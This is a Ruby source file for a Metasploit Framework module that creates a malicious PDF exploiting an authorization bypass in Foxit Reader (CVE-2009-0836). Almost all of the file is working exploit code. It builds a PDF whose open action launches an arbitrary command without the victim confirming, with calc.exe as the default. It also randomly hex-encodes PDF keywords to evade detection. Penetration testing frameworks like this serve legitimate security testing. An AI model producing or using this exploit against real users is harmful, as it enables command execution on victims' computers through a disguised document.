125 lines
3.3 KiB
Ruby
125 lines
3.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'zlib'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Foxit Reader Authorization Bypass',
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'Description' => %q{
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This module exploits a authorization bypass vulnerability in Foxit Reader
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build 1120. When a attacker creates a specially crafted pdf file containing
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a Open/Execute action, arbitrary commands can be executed without confirmation
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from the victim.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-0836' ],
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[ 'OSVDB', '55615'],
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[ 'BID', '34035' ],
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],
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'DisclosureDate' => 'Mar 9 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),
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OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
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], self.class)
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end
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def run
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exec = datastore['CMD']
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# Create the pdf
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pdf = make_pdf(exec)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def nObfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack('C*')[0]
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else
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result << c
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end
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end
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result
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end
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def RandomNonASCIIString(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def ioDef(id)
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"%d 0 obj" % id
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end
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def ioRef(id)
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"%d 0 R" % id
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end
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def make_pdf(exec)
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xref = []
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eol = "\x0d\x0a"
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endobj = "endobj" << eol
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# Randomize PDF version?
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pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
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pdf << "%" << RandomNonASCIIString(4) << eol
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xref << pdf.length
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pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
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xref << pdf.length
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pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
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xref << pdf.length
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pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
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xref << pdf.length
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pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
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xref << pdf.length
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pdf << ioDef(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + ioRef(6) + ">>" << endobj
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xref << pdf.length
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pdf << endobj
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
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pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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pdf << "%%EOF" << eol
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end
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end
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